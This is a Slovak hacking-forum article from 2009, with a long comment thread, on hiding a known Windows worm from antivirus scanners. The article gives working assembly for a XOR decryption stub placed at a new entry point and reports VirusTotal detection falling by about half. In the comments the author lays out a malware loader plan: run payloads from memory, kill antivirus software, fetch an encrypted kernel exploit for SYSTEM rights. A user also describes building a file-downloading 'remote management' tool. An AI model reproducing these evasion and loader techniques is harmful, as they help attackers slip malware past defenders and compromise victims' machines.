AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s

02.02.2009 02:00
------------ /* Uvod */ ------------ Toto je moj first clanok. Dakujem, ze ho citate a ocakavam tvrdu kritiku :-) Ako uz z nazvu vyplyva, je tento clanok o jednoduchej obfuskacii wormika Sm3ll3s. Nic prevratne, nove, ale uzitocne. ----------------------- /* Potrebne znalosti */ ---------------------- Praca s 0llydbg, asm, RE, PE format, brain ------------------------ /* Teoria aka zaciname */ ------------------------ AV pouziva k detekcii malware mnohe metody. Najzakladnejsia metoda je detekcia na zaklade vzoriek, signatur. Malware/virus je subor, data, inak povedane nuly a jednotky. Kazdy subor je iny, individualny, tak, ako nase otlacky prstov=signatury. A tak, ako aj nas mozno spolahlivo oznacit za nas (podla otlackov), tak aj virus mozno podla vzorky oznacit virusom. ---------------------- /* Ide do tuheho xD */ --------------------- Z predchadzajuceho textu vyplyva, ze jednou z moznosti, ako obist detekovanie AVckom, je zmenenie (obfuskacia) tela/kodu/dat virusu. Velmi jednoduchy sposob, ako dosiahnut tuto poziadavku, je pouzitie XORu. note: XOR ma siroke pole uplatnenia,...napr. pri obchadzani IDS systemov, kedze aj exploity sa daju detekovat na zaklade signatur, alebo nopsledu... Target:W0rm.W1n32.Smelles.exe Packer: Type:PE executable Compiler: Mrkvosoft usual Basic 5.0 / 6.0 Size:37kb Used toolz:Peid,Ollydbg,LordPE,Win32dasm -------------------------- /* graficke znazornenie */ ------------------------- ---1.Neupraveny vir. RVA 001------ /Entry point 002- T - 003- E - 004- L - 005- O - 006------ /End of code EntryPoint:000018A0 sekcie: .text, .data, .rsrc ukazka zaciatku kodu: 004018A0 Worm_Win.<> $ 68 A8234000 PUSH Worm_Win.004023A8 /Entry point 004018A5 . E8 F0FFFFFF CALL 004018AA . 0000 ADD [BYTE DS:EAX],AL ---2.Nas Obfuskovany vir. a; do .exe pridame sekciu .xor ,napr 100 byte, musime ju upravit tak, aby sa z nej dal spustat kod a zaroven sekciu .text oznacit ako prepisovatelnu. b; entrypoint zmenime na sekciu .xor (rva:0040B000),kde bude kod... c; tento kod... mov eax,4018A0 //Do EAX presun adresu povodneho entrypointu xor byte ds:[EAX],0A //byte na adrese v eax xoruj s 0A inc eax //eax=eax+1 || chod o adresu nizsie cmp eax,403347 //sme na konci ? jnz short 0040b005 //ak nie xoruj (if) jmp 4018a0 //skoc na desifrovany kod mov-presun xor-log.operacia inc-inkrementuj cmp-compare,porovnaj jnz-jump not zero,skoc ked ZF,zero flag!=0 jmp-jump RVA 001------ /povodny Entry point 002- T - 003- E - 004- L - 005- O - 006------ /End of code .xor sekcia /Novy Entry Point *a,b; 0040B000 final. B8 A0184000 MOV EAX,final.004018A0 0040B005 8030 0A XOR [BYTE DS:EAX],0A 0040B008 40 INC EAX 0040B009 3D 47334000 CMP EAX,final.00403347 0040B00E ^ 75 F5 JNZ SHORT final.0040B005 0040B010 - E9 8B68FFFF JMP final.004018A0 ukazka povodneho zaciatku kodu, uz xorovaneho: 004018A0 62A2 294A0AE2 BOUND ESP,[DWORD DS:EDX+E20A4A> 004018A6 FA CLI 004018A7 F5 CMC 004018A8 F5 CMC ------------ /* Slovom */ ----------- Povodny v1r sa zacal vykonavat zo sekcie .text na adrese 004018A0, upraveny sa zacina vykonavat zo sekcie .xor na adrese 0040B000, kde sa nachadza xorovacia rutina. Ta ma na starosti "sifrovane instrukcie" "desifrovat", potom skoci na adresu 004018A0, kde sa uz vykonavaju instrukcie viru. ------------ /* Zaverom */ ------------ Povodny virus. https://www.virustotal.com/analisis/02cdf02d1f8da183fb5536ff4bb59a2f Result: 23/39 (58.98%) Premenovany na a.exe https://www.virustotal.com/analisis/a9c3007d6c4a83526267113532fb90dc Result: 22/39 (56.42%) (Fakt vtipne, ako malo obcas staci na to, aby...) Editovane stringy + xor https://www.virustotal.com/analisis/02cdf02d1f8da183fb5536ff4bb59a2f Result: 11/39 (28.21%) +packery (Na tychto prikladoch mozete vidiet, ze nie vzdy sa oplati pouzit verejne dostupne nastroje) + fsg 2.0 https://www.virustotal.com/analisis/765b349d8f4a07dc2fb571c688da718f Result: 24/39 (61.54%) + MEW https://www.virustotal.com/analisis/f561d3954419f403307467b714232824 Result: 23/39 (58.98%) +slv https://www.virustotal.com/analisis/443b3e07742f9e0a11ec4dea6857363a Result: 14/39 (35.9%) Lepsich vysledkov by sa dalo dosiahnut analyzou samotnych AVsystemov... Alebo napisanim vlastneho protektoru, packeru...ktory by AVcka nevedeli debugovat. Dufam, ze sa vam citanie pacilo. Za pripadne chyby sa ospravedlnujem (isiel swordfish)ked tak prosim do ->PM.
    • AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 02.02.2009 | 15:35
      Avatar cyberpunker   Používateľ

      Akurát riešim problém, totiž po skomprimovaní mi najde virusscan.jotti.org asi 5 resultov, no ked tam hodim surovy kod, tak su "len" dva resulty ako infiltracia...škoda že asm mi nič nehovori, neviem ako to zakryptujem..komprimoval som to Mpress a PEpackom, to su stare zname firmy...

      • Re: AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 03.02.2009 | 14:14
        5h3ll.inv01ce   Návštevník

        a na co to komprimujes....na .AVI ? xD
        mas na mysli 'packujes' ?
        ako som napisal,mnohe packery,protektory pouzivaju metody akymi chrania tvorcovia malware svoj kod....
        ak priamo nepouziu verejne znamy/dostupny nastroj....
        preto je vacsia sanca ,ze antivir oznaci subor ako vir,i ked mozno nieje.....spravidla ho oznacia ako
        "packed." "suspicious" "crypt" atd...
        Kedze si nekonkretizoval(aky subor,ake vysledky),len tazko podat odpoved taku aku chces...

        • AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 03.02.2009 | 18:13
          Avatar cyberpunker   Používateľ

          teda "kompresoval" heh:), no skôr ide o ochranu pred debuggovanim, vŕtanim v exečku, a chcel som trochu zmenšiť cely súbor. V samej podstate mi nevadí že mi to detekovalo ako malware, resp. trojan self downloader probably variant, a Win32 Agent variant...lebo to beží len na mojich kompoch, niečo ako "vzdialená sprava". Robím to z pasie, viem že je mnoho kompletných riešení...a keď sa tu spomínala táto metóda, tak ma to začalo zaujímať.

          • Re: AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 03.02.2009 | 18:20
            5h3ll.inv01ce   Návštevník

            Hmmm,no na ochranu pred debugovanim mozes pouzit mnoho a mnoho veci...
            manualne:(doplnit kod o urcite rutiny pomocou debuggeru samotneho)
            Vychadzas s predpokladu ako debugger pracuje.....napr precitat si nazvy okien spusptenych aplikacii,
            porovnat to s "databazou" ollydbg a pod.-neefektivne.

            http://www.openrce.org/reference_library/anti_reversing

            nastroje:mozes pouzit tony s "exe protector-ou","packerou",alebo napisat nejaky vlastny....(trocha hard na knowledge)

            btw : zajimavy remote managment :-)))))) pripomina mi to jeden vtip:

            A vies,ze mam novu pracu,ako admin ?
            Nie nevedel som, a kolko ti platia ?
            No oni o tom este nevedia !
            :-)))))

            • AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 03.02.2009 | 18:27
              Avatar cyberpunker   Používateľ

              ono to ako malware povodne nehlasilo, ale začal som tam pridavať funkcie ako Internetdownloadtofile a takymi srandami sa to začalo:) nie som aplikovanec, takže kym riešim posielanie suborov cez socket chcel som to vyriešit tak že ich upnem a stiahnem cez funkciu...antivirus nerobí problém pri kompilovaní, lebo eset je na to nula...našiel to F-prot. a beži to len na mojich kompoch...zatial:)

              • Re: AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 18.04.2009 | 19:43
                5h3ll.inv01ce   Návštevník

                Eset nieje zrovna nula,...
                Co sa tyka tej APIny "downloadtofile" ak to mas v plane pouzit ako "zavadzac" pre ine dobrotky
                zvazil by som na tvojom mieste ...

                Nestahovat do suboru, ale alokovat miesto v pamati a s toho miesta spustit kod....
                (subor zanechava stopy omg xD ) :-)))
                No teda ak pracujes na tom na com myslim....
                Break into->zavadzac.exe kontroluje existenciu AVcka...
                Ak mas na to gule,mozes sa pokusit o AV killer....(vela casu,ale oplati sa ;-) )
                Nenaslo sa ? Sosni kod na local exploit zase do pamati zase sifrovany....utok na R0
                (subverting windows kernel) :-)
                s pravamy systemu opakovany checking,nejaky hook atd atd....resp.Som uz infikovany ?
                Nic ? Alokacia noveho mieste a spustenie final.exe ....

                Happy coding xD

          • Re: AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 03.02.2009 | 18:30
            Avatar vid   Používateľ

            Videl som aj take svinstva co "spakovanie EXEcka" robili formou ze povodny program nahradili malickym execkom, ktore to povodne stiahne z netu a spusti. To je samozrejme naozaj downloader.

            Inak ak chces cisto iba komprimovat EXE (ten pojem je podla mna uplne v poriadku), tak UPX je klasika. Z hladiska implementacie je to to iste co klasicke pakovanie, len sa to deje v pamati a nie so subormi na disku.

            • AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 03.02.2009 | 23:30
              Avatar cyberpunker   Používateľ

              Ak mam povedať pravdu, tak som o tom a akurát teoretizoval...lebo mam v programe spomínanu funkciu Internetdownloadtofile ktorú som spravil v štyle "zadáš príkaz a url a ono to stiahne súbor a uloží pod rovnakým názvom do priečinka" že je jednoduché urobiť EXE čo rovno stiahne a uloži / spusti ten program z netu...nemá to pre mňa síce zmysel, ale je to zaujímave, ma to minimálne Kb a je to čistý súbor...skôr sa musím nejak ponoriť do toho kryptovania, aj keď so svojimi znalosťami to vidím na dlhé bádanie útrobami netu...pepack aj upx to stiahne z 500 Kb na nejakých 100, no detekujú to asi 2 antiviry, z estetického dôvodu sa tomu chcem vyhnúť:)

              • Re: AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 04.02.2009 | 02:18
                Avatar vid   Používateľ

                Najprv teda zacni riesit iba packovanie cisto pakovanie dat v pamati - specifika okolo pouzitia tohoto algoritmu na PE EXE nechaj na potom. Pozri si nejaky jednoduchy algoritmus. Pre zaciatok si napriklad pozri algoritmus akym su pakovane GIF obrazky, to je asi najjednoduchsi co ma napadne. Myslim ze su tu ludia co ti budu vediet fundovanejsie poradit ake pozriet potom. Ked uz napises program co bude schopny spakovat a potom rozpakovat lubovolne data v pamati, tak mozes zacat riesit pakovanie EXEcka (kludne sa mi potom ozvi ak by si s tym chcel pomoct).

                Efektivnost algoritmu zalezi aj od toho co pakujes, existuju aj nejake algoritmy robene extra na pakovanie kodu, ale ani za boha si nezmyslim jak sa to vola.

    • Re: AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 02.02.2009 | 16:02
      Avatar blackhole_tommyhot   Používateľ

      Myslienka vcelku dobra, no napisal si to takym stylom, ze ani ja, co som sa kedysi trosku venoval assembleru (i51) nemam ani sajny, co si prave teraz robil. Bolo by dobre trosku viac popisat co kde kedy ako preco :)
      ----------
      tommyhot@hackingmachine:~$ microsoft &> /dev/null

      • Re: AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 03.02.2009 | 06:36
        5h3ll.inv01ce   Návštevník

        Okej ,no ale to uz by chcelo novy clanok "ucime sa sa asm :-)))"
        Comu konkretne si nerozumel tommy ? tej rutine ? kodu virusu ? comu ? presnejsie plz.

    • Re: AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 02.02.2009 | 22:53
      Avatar zombie87   Používateľ

      Pekne je to, len prihodim svoje pripomienky:
      - i!=1, o!=0 3!=e... atd (mam na to silnu alergicku reakciu :D )
      - nepisat pol vety na riadok
      - myslienka je pekna, len prihod par info ohladom vypoctu adries, minule som o tom nieco cital a nakolko bola neskora vecerna/skora ranna hodina, tak som z toho mal mizmaz (kadejake vypocty podla hlaviciek PE EXE a roznych adries)

      Never say never...

      Never say never...
      • Re: AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 02.02.2009 | 23:51
        Avatar lekvar   Používateľ

        vytahat za usi a nakopat do gluteov !

        a btw. ten tvoj kod je no, hrozne neefektivny :)

        asi si nikdy nevidel/nepocul o takej celkom slusnej finte ala

        push eax
        ...... urob co potrebujes
        ret

        a na takuto "obfuskaciu" ti slusny AV engine vztyceny prostrednik

        ---
        Zerte lequar, je kua zdravy !

        --- Zerte lequar, je kua zdravy !
        • Re: AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 03.02.2009 | 01:27
          Avatar vid   Používateľ

          Henta finta akoze naozaj nejakemu antiviru spravi problemy? A dokurvis si tak RETN cache :D

          Ak cakas ze ta niekto emuluje tak celkom srandovny trik je nieco v style "pop [esp]", to mal vraj donedavna aj jeden nemenovany elitny cesky koder z AVGcka zle implementovane vo svojom x86 emulatore - schvalne, kolki viete zhlavy co presne to robi? Alebo vynimka za "POP SS" je tiez vec na ktoru kdekto zabudne, idealne ked je skrz trace flag. x86 syntax je taka zadrbana ze taketo vychytavky najdes dokonca aj v user mode.

          • Re: AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 03.02.2009 | 06:32
            5h3ll.inv01ce   Návštevník

            Check result,ako vydis spravy problemi :-)
            detekovali 58.98%
            po uprave 28.21%
            retn nedokurvim :-D,kedze som nevolal podprogarm (funkciu) a ret nepotrebujem !
            (naco ?,aku hodnotu potrebujem vratit ???)
            ,len som zmenil tok,
            ludia pozrite si ten obrazok :-D,nieje tam pre srandu kralikou :-D
            Pravda,je to prepracovane a zlozite,kopa detailov,kazda instrukcia je ina,mnohe ovplyvnuju flagy...
            Ale to je trocha mimo kontext., ten pop je zasa praca zo zasobnikom push-uloz,pop-vyber

            • Re: AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 03.02.2009 | 12:06
              Avatar vid   Používateľ

              Check result,ako vydis spravy problemi :-)

              Tak to je smutne :) i/y pises naschval naopak?

              retn nedokurvim :-D,kedze som nevolal podprogarm (funkciu) a ret nepotrebujem !
              (naco ?,aku hodnotu potrebujem vratit ???)
              ,len som zmenil tok,

              Dokurvis retn cache. Ale to som samozrejme pisal len zo srandy, aj tak sa normalne nikam vracat nebudes kedze toto sa deje este uplne navrchu.

              ten pop je zasa praca zo zasobnikom push-uloz,pop-vyber

              Ja som sa nepytal "co je pop", ale ci vies z hlavy povedat co presne "pop [esp]" spravi - odkial vyberie, kam to vybrate ulozi, atd.

              • Re: AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 03.02.2009 | 14:35
                5h3ll.inv01ce   Návštevník

                Heh,nie nepisem to tak naschval :-),grammar sk mi fakt nejde.....sorry
                Jasne jasne chapem,len som este nemal istotu :-)))) (ohladne toho ret)
                Noooo podla mna pop[esp] vyberie data zo zasobniku na adrese [esp] ,....mam pravdu ci ne ???

                A neviem co sa vykonava uplne navrchu....ale ta rutina zacina praveze dole.....jedine ak by si myslel tak ze tie data sa zacinaju prepisovat odvrchu....

                • Re: AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 03.02.2009 | 16:53
                  Avatar vid   Používateľ

                  Noooo podla mna pop[esp] vyberie data zo zasobniku na adrese [esp]

                  "vyberie" je dost abstraktny pojem, skus popisat co presne a ako sa zmeni v pameti okolo adresy kam ukazuje ESP, a ktore registre sa ako zmenia. Priklad:

                  Pred vykonanim instrukcie "pop dword ptr [esp]":
                  - ESP=104
                  - dword ptr [100] = 1
                  - dword ptr [104] = 2
                  - dword ptr [108] = 3

                  Ako sa zmenia horespominane udaje po skonceni vykonavania tejto instrukcie?

                  A neviem co sa vykonava uplne navrchu....ale ta rutina zacina praveze dole.....jedine ak by si myslel tak ze tie data sa zacinaju prepisovat odvrchu....

                  nehovoril som o tom co sa v Olly ukaze navrchu scrollbaru a co naspodu, myslel som hierarchiu callov :D ale nechaj tak radsej...

                  • Re: AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 03.02.2009 | 18:47
                    Avatar vid   Používateľ

                    Este lepsi priklad ma napadol:

                    Pred vykonanim instrukcie "pop dword ptr [esp+4]":
                    - ESP=104
                    - dword ptr [100] = 1
                    - dword ptr [104] = 2
                    - dword ptr [108] = 3

                    • Re: AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 12.02.2009 | 05:20
                      Gregi   Návštevník

                      1.) bude vybrana hodnota 3
                      2.) [101] = 1
                      3.) [105] = 2

                      ako som dopadol? ;-)

                      • Re: AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 12.02.2009 | 11:36
                        Avatar vid   Používateľ

                        zle :)

        • Re: AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 03.02.2009 | 06:24
          5h3ll.inv01ce   Návštevník

          lekvar:
          push eax-nepotreboval som ukladat na zasobnik...
          a keby som to volal ako funkciu,asik spotrebujem viac casu kedze sa navyse vykonava push + ret
          (praca so stackom)...nemam pravdu ?
          stacilo mi jednoducho pozmenit tok programu...., a vysvetlovat ako sa vola funkcia v asm,call ret +zmeny registrou,je trosku vacsi problem, pre tych ktory asm nevedia.
          Samozrejme ze slusny AV mi ukaze fuck,opakujem islo u nacrtnutie jednoducheho sposob,principu....

      • Re: AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 03.02.2009 | 06:18
        5h3ll.inv01ce   Návštevník

        Oukej vyhnem sa podobnemu zapisu v buducnosti :-)
        -i ked pol vet na riadok obcas pomaha k prehladnosti...
        -kazda instrukcia ma svoju velkost,kazda ma svoju adresu od najnizsej smerom dole k najvyssej-vid obrazok
        (EIP-Instruction pointer)-specialny register ,ktory ukazuje na momentalne vykonavanu instrukciu
        (ked najdes buffer overflow,prepises pamat a aj return (RET) zmenis tym EIP,dokazes ovladat flow programu....)
        ale to je uz ina kapitola (ked tak PM,konkretnejsie comu nerozumies,ohladne adresovania)

    • Re: AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 03.02.2009 | 01:12
      Avatar vid   Používateľ

      Fuuu, no nazvat xornutie "obfuskovanim" je trosku prehnane sebavedomie, ale je fajn ze clanok ludom ukaze ako sa to robilo kedysi. Ale asi by nebolo od veci dat tam nejaky pseudokod alebo proste vysvetlit co ten kusok ASM kodu robi, nech je to jasne aj ostatnym ako sa to robi. Ono ked uz raz niekto vie vsetko co si vyzadoval, tak tento clanok mu uz asi nema vela co ponuknut.

      A tie vysledky ma trochu prekvapili, ale po troske rozmyslania sa mi to nezda az take divne - antiviry nemaju preco hladat tento virus v zapackovanom EXEcku, ak to povodny virus nikdy nerobi => rychlejsie testovanie.

      • Re: AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 03.02.2009 | 06:05
        5h3ll.inv01ce   Návštevník

        for vid:
        Ked si pozries resulty (koniec clanku-linky),tak uvidis vysledky,na zaklade vysledkou sa da povedat ,ze i takato jednoducha vec,pomotala hlavu mnozstvu AVckam.
        Pravda je to stara metoda,casi 29A,benyho atd...
        Ale clanok mal iba ukazat jednoduchy sposob-> ukazat cestu,princip,na ktory sa daju dalej nabalovat dalsie metody.
        k asm kodu som dal popis....(ked tak napis ktoru cas kodu by si rad popisal :-),a mozem vypracovat analyzu ked bude viac casu )

        VYsledky AV: este raz si ich porzy....bez pouzita packeru, boli vysledky 28.21%,s packerom 61.54%(najhorsi)
        co znamena,ze antivirus MA PRECO HLADAT V PACKOVANOM EXECKU,i ked je to pomalsie ;-)
        Bola pouzita heurestika...aktivne debugovanie.

        • Re: AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 03.02.2009 | 12:04
          Avatar vid   Používateľ

          Ked si pozries resulty (koniec clanku-linky),tak uvidis vysledky,na zaklade vysledkou sa da povedat ,ze i takato jednoducha vec,pomotala hlavu mnozstvu AVckam.

          To mozno, ale to nijako neospravedlnuje nazyvanie tejto jednoduchej veci nespravnym pojmom.

          VYsledky AV: este raz si ich porzy....bez pouzita packeru, boli vysledky 28.21%,s packerom 61.54%(najhorsi)
          co znamena,ze antivirus MA PRECO HLADAT V PACKOVANOM EXECKU,i ked je to pomalsie ;-)

          Au, teraz je to zase "packer"? Moc si tam toho nespackoval. :)

          Ale nesuhlasim - preco by antivirus mal hladat v "packovanom" execku virus, ktory sa za normalnych okolnosti v "packovanom" execku nikdy nenachadza? Lebo niekto sa mozno bude niekedy v buducnosti nudit a rucne prihodi navrch jednu xorcrypt sekciu?

          • Re: AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 03.02.2009 | 14:32
            5h3ll.inv01ce   Návštevník

            for vid:
            Ja neviem,ale pisem cudzou recou ??!?!?!
            you:Au, teraz je to zase "packer"? Moc si tam toho nespackoval. :)
            I:Su tam vysledky s packerom/ bez packeru !

            you:To mozno, ale to nijako neospravedlnuje nazyvanie tejto jednoduchej veci nespravnym pojmom.
            I:Obfuskacia ? nespravny pojem ? Ci to je lahke alebo nie, obfuskacia to je zarucene...ak nie rad si necham
            vysvetlit.

            you:Ale nesuhlasim - preco by antivirus mal hladat v "packovanom" execku virus, ktory sa za normalnych okolnosti v "packovanom" execku nikdy nenachadza?

            I:poloz si otazku: 'a preco niektore antivirusi v packovanom execku virus nasli ?' 'nieje mozne, ze by ho tam aj hladali' ?! :-D,, ale pre tvoje info:packery sa vo velkom zneuzivaju prave na to, ze to AVcku stazia, a keby to bolo ako ty pises....TAK AMEN TMA ~! (To by AVsystem uplne stratil vyznam)
            asik preto sa ESET serie s vyvojom threatsense co ?

            ju aj ty:v "packovanom" execku nikdy nenachadza?
            ju aj ja:DOKAZ:http://www.eset.sk/virus/waledac_e_trojan_agent_azxj_waledac_waledac_gen
            (Precitaj si tu veticku kde je jasne napisane ,ze vir je pakovany UPXkom)
            -a nezabudni tym blbcom z esetu napisat ,ze nemaju pravdu :-D :-)))))))))))

            Ak nevies pravdu, nereaguj v zmysle "To nieje pravda/nesuhlasim", ale racej "preco ?". ;-)
            5h3ll.

            • Re: AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 03.02.2009 | 15:15
              Avatar vid   Používateľ

              1. Ten tvoj xorcrypt nieje "packer"

              "a runtime packer is a component used to reduce executable sizes" (http://en.wikipedia.org/wiki/Packer)

              2. xorovanie konstantou nieje "obfuskacia"

              Obfuskacia je zmenenie kodu tak ze si zachova funkcnost ale stane sa tazko zrozumitelnym. V tvojom pripade sa jedna o kryptovanie, nie obfuskaciu.

              I:poloz si otazku: 'a preco niektore antivirusi v packovanom execku virus nasli ?' 'nieje mozne, ze by ho tam aj hladali' ?! :-D

              Samozrejme, ale ak ten virus nikdy exac hentak necryptuje, tak ho tam hladaju zbytocne, lebo virus sa v takomto EXEcku nikdy za normalnych okolnosti nevyskytuje. Co je na tom tazke pochopit? Alebo si myslis ze keby povodny virus obsahoval to kryptovanie tak by ho tieto antiviry aj tak neboli schopne najst?

              a keby to bolo ako ty pises....TAK AMEN TMA ~! (To by AVsystem uplne stratil vyznam)
              asik preto sa ESET serie s vyvojom threatsense co ?

              Keby to bolo tak ako ja pisem, ze AV by hladal v xor-kryptovanych EXEckach len tie virusy co sa v xor-kryptovanych EXEckach aj vyskytuju, tak by to bolo "amen tma" preco?

              ju aj ty:v "packovanom" execku nikdy nenachadza?
              ju aj ja:DOKAZ:http://www.eset.sk/virus/waledac_e_trojan_agent_azxj_waledac_waledac_gen

              Ano, nachadza sa v skutocne packovanom, nie ako som napisal "packovanom" (doraz na uvodzovky). Tvoj xorcrypt nieje UPX, a ked sa virus vzdy nachadza v UPXovanom execku, tak neviem preco by ho AV mal hladat v EXEcku s nejakym custom xorcryptom.

              Ak nevies pravdu, nereaguj v zmysle "To nieje pravda/nesuhlasim", ale racej "preco ?". ;-)
              5h3ll.

              Napodobne. A tiez, ak nevies co nejaky pojem (packovanie, obfuskacia) znamena, nepouzivaj ho.

              • Re: AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 03.02.2009 | 17:22
                5h3ll.inv01ce   Návštevník

                1.nenapisal som,ze moj xoring je packer,....
                ale dakujem za useful link ....lol....
                2.kod si funknost zachova ,kod nieje citatelny.je nezmyselny,"kryptovanie" nieje forma obfuskacie ?
                -Samozrejme ,ale uvedom si ,ze to co pises by platilo za predpokladu ze AVcko vie aky virus v exe je...,ale to Avcko nikdy nevie....AVcko nemoze fungovat na principe "kedze tento virus pred tym nesifroval tak ho uz nebudem dalej testovat...."
                -viri cryptovanie pouzivaju,casto !!! je to poly/meta-morfny kod,junk,fakecode, jasne ze by ho lepsie AVcka nasli, za predpokladu,ze pouzivaju heurestiku, ale ved ja som nenapisl,ze by ho nenasli !!!! (moze sa stat)
                Ja rozumiem,len ty akosik nie,mam pocit ze jeden o voze druhy o koze,(nic v zlom....) pozry tento priklad....
                (Na tomto mieste si troska odporujes)
                /*YOU:Samozrejme, ale ak ten virus nikdy exac hentak necryptuje, tak ho tam hladaju zbytocne, lebo virus sa v takomto EXEcku nikdy za normalnych okolnosti nevyskytuje.
                I: s tejto vety mi vypliva,ze podla teba sa bezne viri nesifruju.
                /*
                /*you:Alebo si myslis ze keby povodny virus obsahoval to kryptovanie tak by ho tieto antiviry aj tak neboli schopne najst?
                I:tu uz ano,a tiez ,ze by ho AV nasiel, (napisal si pred tym) ale akoby ho mohol najist,ked predtym ten samotny vir sifrovany nebol ?
                */

                Odpoved na tvoju otazku:nuz predstav si to ako situaciu.....stiahnem si 1000 virusov vsetky zoxorujem a AVcka ich nebudu detekovat....co sa stane ?

                ale ja som nepisal ze xor je upx ,pomooooc :-((((( preboha uvedom si co pises....AVcko nezajima ci virus bol alebo nebol packovany.....AVcko ho proste analyzuje....

                Tvoja posledna veta my ozaj vyrazila dych...
                viem dobre co to znamena,u toho packeru doslo k nedorozumeniu,lepsie citaj....
                obuskacia,no toto sa hadat nebudem :-) mas pravdu,i ked povedal by som,ze cryptovanie sa da pokladat ako urcita forma obfuskacie...

                http://lists.virus.org/pen-test-0402/msg00115.html , http://www.derkeiler.com/Mailing-Lists/securityfocus/vuln-dev/2004-02/00...

                pocuj nestudujes polytologiu ? bo vyvolavas vo mne pocit,ze tak ako politici aj ty by si bol schopny oj*bat nezaintersovaneho cloveka :-D (pokus o vtip)

                • Re: AV-obfuscation,X0R,s1gnatury -W0rm.W1n32.Sm3ll3s 03.02.2009 | 18:22
                  Avatar vid   Používateľ

                  > nenapisal som,ze moj xoring je packer,....

                  Mas pravdu, beriem spat. Tuto som ta zle pochopil, plati to aj na veci okolo UPX. Ale myslim ze urcite mieru v mojom vyjadrovani zohrala aj mierne nekonzistentna forma tvojho vyjadrovania :P

                  > kod si funknost zachova ,kod nieje citatelny. je nezmyselny,"kryptovanie" nieje forma obfuskacie ?

                  V takej forme v akej je kod po kryptovani nieje funkcny, najprv ho treba dekryptovat. V tom je rozdiel medzi obfuskovanim a kryptovanim, obfuskovany kod je sice tazko citatelny, ale funguje rovnako (napriklad "neg eax" -> "not eax" + "dec eax")

                  Kryptovanie by sa mohlo povazovat za "obfuscation" vo vseobecnom zmysle v akom sa pouziva v anglictine. Lenze v slovencine slovo "obfuskacia" v tomto normalnom vyzname nepouzivame, len v odbornom technickom vyzname. A v technickom vyzname tam kryptovanie rozhodne nespada. To by potom aj zaheslovanie zdrojakov bolo obfuskaciou atd.

                  > -Samozrejme ,ale uvedom si ,ze to co pises by platilo za predpokladu ze AVcko vie aky virus v exe je...,ale to Avcko nikdy nevie....

                  Staci napriklad mat v databaze vzoriek oddelene tie ktore su len v nesifrovanych EXE, tie ktore su len v UPXovanych EXE, a tie ktore treba testovat vsade. Potom ak mas sifrovane EXEcko, ale vies ze virus XY sa v sifrovanych EXEckach nedokaze sirit, tak nieje dovod konkretne sifrovane EXE po desifrovani testovat na jeho pritomnost.

                  > AVcko nemoze fungovat na principe "kedze tento virus pred tym nesifroval tak ho uz nebudem dalej testovat...."

                  Viry sa same od seba zatial nevedia naucit sifrovat, takze moze, a podla mna je to dokonca ziaduce kvoli rychlosti.

                  > You: Samozrejme, ale ak ten virus nikdy exac hentak necryptuje, tak ho tam hladaju zbytocne, lebo virus sa v takomto EXEcku nikdy za normalnych okolnosti nevyskytuje.
                  I: s tejto vety mi vypliva,ze podla teba sa bezne viri nesifruju.

                  To ti vyplyva zle.

                  > nuz predstav si to ako situaciu.....stiahnem si 1000 virusov vsetky zoxorujem a AVcka ich nebudu detekovat....co sa stane ?

                  Pri klasickych virusoch sa nestane nic, pretoze akonahle sa virus zacne sirit, jeho kopia bude zase nezasifrovana, a AV ju detekuje.

                  Ale myslim ze viem v com je nase nedorozumenie (teda okrem formy tvojho vyjadrovania :P ;) ): To co pisem sa vztahuje na klasicke virusy, ktore infikuju existujuci program svojou kopiou. Taketo virusy aj ked raz zakodujes, nedokazu kvoli tomu automaticky zasifrovat svoju kopiu, a preto aj ked ty jeden konkretny exac zasifrujes, jeho kopia uz sifrovana nebude. Ty tusim ale pod pojmom virus myslis skor "trojske kone" a podobne svinstvo, ktore sa uz nesiria formou virusu (analogicky s biologickym virusom), ale ako prilohy v mailoch alebo co, kde sa len posle kopia suboru tak ako je a nic sa neinfikuje. V takom pripade si vlastne vytvoril a pustil do obehu mutaciu povodneho malwaru, a bolo by fajn aby ju AV zvladol (aj ked je bezne ze mutacie nevie identifikovat podla ich predchodcu).

                  PS: mas nejaky system v tom odrazkovani? lebo akosi som nepochopil kedy pouzivas cisla, kedy pomlcku, a podla akeho systemu pouzivas /* a */